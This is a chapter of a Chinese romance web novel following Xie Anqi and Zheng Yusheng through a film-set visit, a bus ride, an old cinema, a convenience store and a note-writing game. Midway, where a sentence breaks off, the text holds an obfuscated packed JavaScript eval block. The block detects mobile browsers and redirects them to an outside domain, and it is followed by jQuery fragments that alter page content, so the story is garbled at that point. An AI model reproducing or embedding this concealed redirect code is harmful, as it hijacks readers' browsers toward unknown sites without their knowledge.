剧组的片场在城市郊区的一个旧厂房改建而成，外面看起来灰扑扑的，进去后却被各色灯光与搭建布景填得热闹又拥挤。
之前来都是临近结束，这一次拍摄的场次更丰富，谢安琪几乎被那些密密麻麻的器材、轨道、灯架和跑动的工作人员吓得愣住。
有人扛着沉重的摄影机从她身边跑过，有人背着大卷电缆，一边跑一边喊“借过！”，空气里混着汗水、木板、灰尘和灯光的热味。
她紧紧捏着瓶水，站在角落，眼睛追随着郑禹胜的身影。
谢安琪裹着那件被洗得微微泛白的外套，坐在小桌前，翻开自己的小本子。那本子已经写满了密密麻麻的愿望，有些被擦掉重写，有些被圈上小星星标记。
新的一页已经写了一个愿望：【今天开始，要陪他去片场，看他工作的样子。】
她盯着这行字，呼吸轻轻发颤。
“如果可以的话，想在这里多待一点时间，再多看一点他的样子。”她小声对自己说，语气温柔而小心，仿佛在许愿。
现在许愿就是实现了，郑禹胜今天拍一场重要的室内情绪戏。化妆间里，他安静坐着，让化妆师给他补妆，整个人显得冷静又专注。
她透过玻璃窗看见，他低着头，指尖轻轻摩挲剧本的边角，偶尔抬头和导演简短对话，那一瞬间，谢安琪忽然明白，平时在屋塔房那个帮她系围巾、煮面、偷偷皱眉的男孩，原来可以这样锐利、冷静，属于完全不同的世界。
开拍时，郑禹胜一下进入角色，声音低沉，带着隐忍的怒意，动作又干脆果断，像是一只野生动物。
谢安琪站在远处，捂住嘴，眼睛微微泛红。
“你真的……好厉害。”谢安琪在心里小声说，鼻尖发酸。
有人见她站在一旁，以为她是助理，给了她一瓶水和一份便当盒。
“拿去给禹胜，趁休息喝点水。”工作人员喊道。
她愣了一秒，抱着那瓶水和便当，脚步很慢，像是踏进未知的湖面。走到他面前时，郑禹胜正在摘掉戏服外套，看到她，愣了一瞬，眼底闪过一丝柔软。
“给你的。”谢安琪把水递过去，声音轻到几乎被喧嚣淹没。
郑禹胜接过水，目光锁在她脸上，没有立刻喝，只是缓慢旋开瓶盖，把瓶口递到她嘴边。
“先你喝。”他说，声音很低，但不容拒绝。
谢安琪怔住，最后还是轻轻喝了一口，心跳快到快要从嗓子口溢出来。他接着喝剩下的那口水，动作不急，却小心得像在守护什么珍贵的东西。
那一瞬，周围的灯光、嘈杂、忙碌仿佛全都消失了，只剩下他们之间短短一米的距离，和两颗剧烈跳动的心。
午休时，谢安琪坐在片场一角的道具箱上，手里拿着本子，眼神在周围打量着，郑禹胜从不远处看着她，那一瞬间，忽然觉得她是一个轻得会随风走掉的影子。
郑禹胜走过来，轻轻把她额前的发丝拨到耳后，什么都没说，却把目光深深地落在她身上，像是想把她完整刻进眼底。
她抬头看他，眼神里闪过一丝慌乱，嘴角弯起一抹笑。
“看什么啊？”她轻声问。
“看你。”他答，简短却真切。
拍摄的安排就那些，拍完差不多天黑，确定今天的内容都可以，不需要保一条后，在天完全黑下来的时候，两人一起坐公交车回屋塔房。
车里的人很少，灯光昏黄，窗外是被雨水洗过的城市，路灯在湿滑的路面上拉出细长的影子，街边便利店、夜摊、来来往往的行人，一切都显得柔软而陌生。
谢安琪靠在窗边，脸贴着微凉的玻璃，看着窗外不断后退的景色。
“我小时候经常坐公交，喜欢坐最后一排。”谢安琪忽然开口，声音轻柔。
“为什么？”他问，侧头看她。
“因为最后一排可以看见所有人，感觉很安全。”谢安琪说完，转头看他，眼底有一点笑意，却被泪光轻轻覆住。
郑禹胜没有说话，只是抬手，慢慢握住她放在座椅上的手。
她低头，看着两只手紧紧贴在一起，指尖缓缓收紧，最后抬头，对他笑了。
公交车开到汉江过桥路段时，窗外一片黑漆漆的水面，只余远处零散的船灯。
谢安琪眼神微动，轻轻开口：“以后，我们也可以坐船，从一头漂到另一头，什么都不想，只看水。”
“好。”他答，声音很低。
“还有……想和你一起去看一场夏夜的露天电影，吃爆米花，躺在草地上。”她一条条说，像在默背一张私密的清单。
“都做。”他说。
她笑了，笑得眼角弯成月牙，过了一会儿，慢慢靠到他肩上。
郑禹胜轻轻偏头，把下巴搁在她发顶，呼吸缓慢而安稳。
车厢里安静，只有引擎低沉的轰鸣，和两个人不需要语言的心跳声。下车后，两人并没有立刻回屋塔房，而是坐到公交站旁的长椅上。
灯下的影子被拉长，晚风吹起她的发丝，掠过他肩头。
“今天很累吧？”她问，声音软软的。
“只要你在，就不累。”他看着她，语气平稳，却带着柔软的重量。
她鼻尖轻轻发酸，转头看向马路对面，那些路灯排成一条浅浅的光带，像是另一条未来的路。
“以后，不管我们走到哪条路，都一起回家，好吗？”她忽然说。
“好。”他说，没有一秒的迟疑。
她伸手，轻轻牵住他的指尖，缓慢收紧。
走在回屋塔房的路上，郑禹胜一直低着头，看着两人相握的手，脚步慢而稳，谢安琪突然停住，抬头望向星空。
“今天月亮很亮。”她轻声说。
“嗯。”他也抬头，看着那轮浅白的月亮。
“谢谢你。”她低声补了一句，声音几乎被夜风吹散。
他低头，看着她，没说话，只是轻轻把她拉进怀里。风吹过来，她呼吸一乱，下意识抓住他衣摆。
“以后，我们也要一起看更多月亮，好不好？”她闷着声音问。
“好。”他回答，手指收紧，把她整个人抱得更近。
快到屋塔房时，她忽然轻轻开口：“你以后不可以先走。”
郑禹胜愣了一下，低头看她，眉眼间浮现一丝困惑。
“如果有一天，我再不见了……也不要先走，等我回来，好吗？”她问，声音细碎，却带着无法动摇的坚定。
郑禹胜盯着她，喉结缓慢上下滚动，半晌，才用力点头，“我会等你，等到最后。”他说，语气里是夜色与所有未曾说出的誓言。
谢安琪闭上眼，嘴角缓缓弯起。
风在他们周围安静地吹，灯光拉长影子，他们紧紧相依，像被月光和风悄悄包围的两个秘密。
那一刻，没有离开，也没有终点，只有慢慢走，和被紧紧抓住的现在。
……
某天，郑禹胜忽然提议：“跟我出去一趟。”
谢安琪一脸诧异，还没来得及问清楚，他已经拽着她的手往外走。
两人一路坐公交，走过几条小巷，最后在一间几乎快被忽视的老电影院门口停下。门口的招牌灯已经坏了一半，墙上贴着泛黄的电影海报，海报边角翘起，像是被时间捏皱的纸张。
“这里很老了。”郑禹胜低声说，目光闪烁，“但我喜欢这里，安静，没人打扰。”
走进去时，昏暗的走廊里混着爆米花的甜香和老椅子的霉味，谢安琪轻轻吸了口气，莫名觉得安心。
他们找了角落的两个座位坐下，厅里几乎没有人，只有零星几位观众散落各处。
电影开始放映时，屏幕上浮动着粗糙的光影，黑白的镜头里，主角在海边奔跑，风把裙摆吹得飞起来，背景乐是古老而微弱的旋律。
谢安琪看着那幕，不自觉笑了，偏头瞥见郑禹胜偷偷盯着她。
“干嘛看我啊？”她小声问。
“看电影主角。”他淡淡回，语气里却带着一点忍不住的笑。
“骗人。”她忍不住推了郑禹胜一下，电影里的对白刚好停下，一瞬间，她的笑声被放大，变得突兀又真实。
两人相视一笑，像是被某种默契轻轻包围。笑带着她的肩膀跟着轻轻抖动。郑禹胜偏过头，见她笑得眼角都微微发红，忍不住轻轻把手放到她座椅和自己的座椅之间。
她没注意，笑着继续看银幕。等她发现时，他的手指刚好碰到她手背，她微微一愣，轻轻收了收手指，却没有躲开。
她慢慢把小指钩到他手上，动作很轻，像一只试探靠近的小猫。郑禹胜呼吸轻了一下，但没有抽开，反而慢慢把整只手攥住她的手。
银幕上，女主角喊着“回来啊！”的台词被放得很大声，她却忽然鼻尖一酸，眼眶湿润。
郑禹胜察觉到，悄悄用大拇指摩挲她的指背，轻轻，反复，像在安抚，又像是无声的承诺。
电影结束，走出电影院时，夜风呼的一下吹来，她抬手擦了擦眼睛。
“你哭啦？”他低声问，语气平淡，眼神却担心。
“没有！”她立刻反驳，但语气发虚，眼睛还红着。
他盯着她几秒，忽然用手指轻轻刮了下她鼻尖，嘴角微微弯起。
“骗人也不专业。”他小声说。
她愣了一秒，扑哧笑出来，伸手推了推他肩膀：“郑禹胜，你真的好坏。”
他笑了一下，难得没有躲开，反而顺势拉住她的手，走进夜风里。
电影结束后，他们还坐在座位上没起身，郑禹胜缓缓开口：“以后，如果我再演这种角色，会不会有人觉得太无聊？”
谢安琪看着他，眨了眨眼：“不会啊，只要我在看，就不会无聊。”
郑禹胜顿了一瞬，嘴角缓缓勾起来，抬手轻轻摸了摸她的头发，天已经黑了，回家的路灯把两人的影子拉得很长。
路上有一家便利店，他们走进附近的便利店，推开门时，门口挂的铃铛发出脆响，空气里混着微凉夜风和泡面香气。
谢安琪抱着购物篮，左挑右挑，拿了一包草莓味小蛋糕和两罐热牛奶。郑禹胜跟在她后面，先是皱着眉看她随手拿东西，最后却也跟着拿了一盒奇怪的罐头。
“这是什么？”她凑过来看，笑得肩膀抖动，“你选东西好奇怪。”
“你说我选就选。”郑禹胜说，转身把罐头丢进她的购物篮里，语气倔强。
店里放着一首旧情歌，节奏慢悠悠的，带着一点怀旧的味道。谢安琪拿起一包奇怪的果冻，举到他面前：“这个好像是新出的，要不要试试看？”
郑禹胜低头看了一眼，皱着眉头：“像塑料。”
“试嘛！你不是说要体验新鲜感？”她眨眼，语气里带着点小挑衅。
他接过，打开，挤了一点到嘴里，接着整张脸都皱起来。
“这什么东西……”他闷声嘀咕，还皱着鼻子。
谢安琪笑到快要坐到地上，眼泪都笑出来：“啊哈哈哈哈，你表情太好笑了！”
他瞪了她一眼，把果冻包装丢进她购物篮里，语气别扭：“全吃完，不许浪费。”
她伸手把一张星星贴纸贴到他脸侧：“奖励你一颗星星！”
郑禹胜一怔，转头去镜子里看，别扭得耳根都红了，却没马上撕掉。结账后，他们坐在便利店玻璃窗前的小吧台，一边喝牛奶，一边看着窗外稀稀落落的路人。
谢安琪转头看见对街有家灯光昏暗的小拉面馆，招牌闪着光，但少了笔画的故障灯。
“那家店……以后也一起去吧。”她轻声说。
郑禹胜顺着她目光看过去，嘴角弯了弯：“看起来很破。”
“破才有趣啊。”她回答，目光亮晶晶的。
他没再说话，只是低头喝了一口牛奶，杯子里的热气微微起雾，悄悄在他睫毛上停了一瞬。
他们就这样静静坐着，偶尔互相偷看，偶尔看路边的猫爬到便利店玻璃上，两人像藏在这个世界里最不起眼的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925846|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秘密，却带着一种被允许的温柔。
离开便利店，走在回去的路上，她一边低头看影子，一边看着他脸上被自己贴的那颗贴纸，忽然停住，转头看他：“我以后都要在你身边，贴很多很多星星。”
郑禹胜没有回答，只是轻轻伸手，把她脸颊上的贴纸撕下来，动作很慢，指腹摩挲过她的脸，像一阵悄悄的风，她抬头看他，眼睛里亮着一小片月光，呼吸都慢了半拍。
“以后……想贴多少就贴。”他最后轻轻说，语气低而缓。
………
回到屋塔房后，谢安琪坐在床边晃着腿，从抽屉里拿出几张便签纸，甩到小桌上。
“来，我们玩个游戏。”她说，眼睛闪着一点调皮的光。
“又要干嘛？”郑禹胜警惕地看她。
“一人写一个问题，另一人必须老实回答。”她晃着便签，笑得像个小孩，“我这次要问你很多很多问题。”谢安琪得意地说。
郑禹胜皱眉，盯着那一排便签，像在看一排小陷阱，看了一会儿，最后还是拿过一张纸，开始写。
第一个问题，她写了：小时候最害怕的是什么？
郑禹胜低头，笔尖在纸上停了很久，最后只写了两个字：失去。
她愣了一下，手心一热，想再看时，他已经把纸抽走叠好。
他的题是：如果只能选择一个瞬间无限重复，你会选什么时候？
谢安琪盯着那行字，呼吸微微乱了。
过了很久，她写下：第一次和你一起吃面的时候。
他看着纸，指尖微微颤抖，接着伸手揉了揉她的发顶。
“那天很傻。”他说。
“嗯，但很幸福。”她抬头看他，目光亮亮的。
新的问题还在继续，她飞快写了一张：以后想被别人怎样记住？
他低头看了看，笔尖停在纸上，最终缓缓写下：记得我真心喜欢过一个人。
谢安琪看见那行字，喉咙轻轻动了动，眼睛慢慢发红。
她赶紧低下头，拿出另一张纸写：如果有一封写给未来的信，你会写什么？
郑禹胜握着笔，沉默了很久，最后一笔一笔写下：请你一定等她回来。
谢安琪愣住，嘴唇轻轻抖着，最终抬手盖住脸，声音闷闷的：“讨厌……”
郑禹胜伸手抽掉她手里的便签，凑到她耳边，声音很轻：“不许哭。”
“不是哭，是鼻子过敏……”她逞强说，声音颤抖。
郑禹胜笑了一下，笑声很轻，像一声小叹息，随后伸手把她拉进怀里。
两人靠在一起，手边是铺满桌面的便签纸，写满了他们对未来、对现在、对彼此的所有猜测和承诺。
谢安琪抬头，看着昏暗灯光里的他，忽然小声说：“以后，我也想一直写信给未来的我们。”
“写吧。”他低声答，“但最后都要交给我保管。”
“为什么？”
“因为……我怕你乱丢。”他说，眼神微亮，声音却小到几乎要被风吞掉。
她笑了，靠进他怀里，心跳被夜风裹住，轻轻颤动。他们把写好的问题都折成小船，丢进一个旧玻璃罐里。
“以后，这些问题都在这里，等满了再一起拆开看。”她说。
“嗯。”他应，伸手轻轻握住她的手。
月光从屋塔房的窗缝洒进来，照在两人交握的指尖上，光与影交叠，像是写给未来的无声情书。呼吸渐渐同步，夜里的风停了，他们终于慢慢合上眼睛，在这条线里，继续向彼此靠近。
谢安琪睡着了吗？
她其实没睡着，还在想前两天的事情。
三天前还是四天前的晚上，谢安琪先洗漱，郑禹胜靠在小桌旁，翻着她那个早已被翻得卷边的小本子。
他把手指停在一页写着一起去看夜市烟火的小愿望上，指腹轻轻摩挲。她从浴室出来，看见他盯着那页，笑着走过来，毛巾还搭在肩上，发丝湿漉漉地贴在脸侧。
“别乱看啊，那里面还有我的小秘密。”她装作生气，伸手去抢。
他却抬高，嘴角带着一点坏笑：“有什么秘密，是我不能看的？”
“哎呀，快给我啦！”她半跳着去够，脚尖离地，发尾划过他的肩头，带着一点点洗发水的香气。
最终，他还是把本子递还给她，看着她小心抱回怀里的动作，忽然觉得这本子，就像是她的一颗小小心脏，藏着所有未来的呼吸。
谢安琪慢慢翻到最后一页，那一页干干净净，只有纸张微黄的纹理和淡淡的笔痕，她抬头看他，眼睛亮得像刚洗过的星星。
“这页我先空着。”她说，语气缓慢而认真。
“为什么？”他低声问，指尖摩挲她放在桌上的那只手。
“因为这是要等到未来一起决定要写什么。”她笑了，声音轻轻地，“如果以后我们还在一起，就写上我们一起去实现的最后一个愿望。”
她偏头靠在他肩上，闭上眼，小声说：“以后无论在哪条线，都要留一个空白页，给对方。”
“嗯。”他低头看她，伸手轻轻扣住她的指尖。
“因为只要有那一页，我们就还有未来可以一起决定。”她补充，声音轻轻的，像要飘走。
而现在，他陪着自己度过的每一日都是在完成她想要拥有的，期待的生活。
郑禹胜看着她，注意到她的眼睛在颤抖，喉结微微上下滚动，眼底浮出一点说不清的光，他知道谢安琪没有睡着。
“好。”他最后只在心里说了一个字，却像是一整夜最柔软的风，轻轻吹进她的心里。
夜风从半开的窗缝吹进来，带着城市和夜里的尘土味，轻轻擦过他们的呼吸。
他没有再说话，只是把她的手慢慢握得更紧，最后十指相扣，贴在两个人胸口之间，仿佛要用尽全身力气，留住这一刻的温度。
夜深了，屋子里只剩下呼吸声和风擦过铁皮盒的轻响。他们缓缓躺回床上，呼吸一点点合拍，渐渐沉入梦里。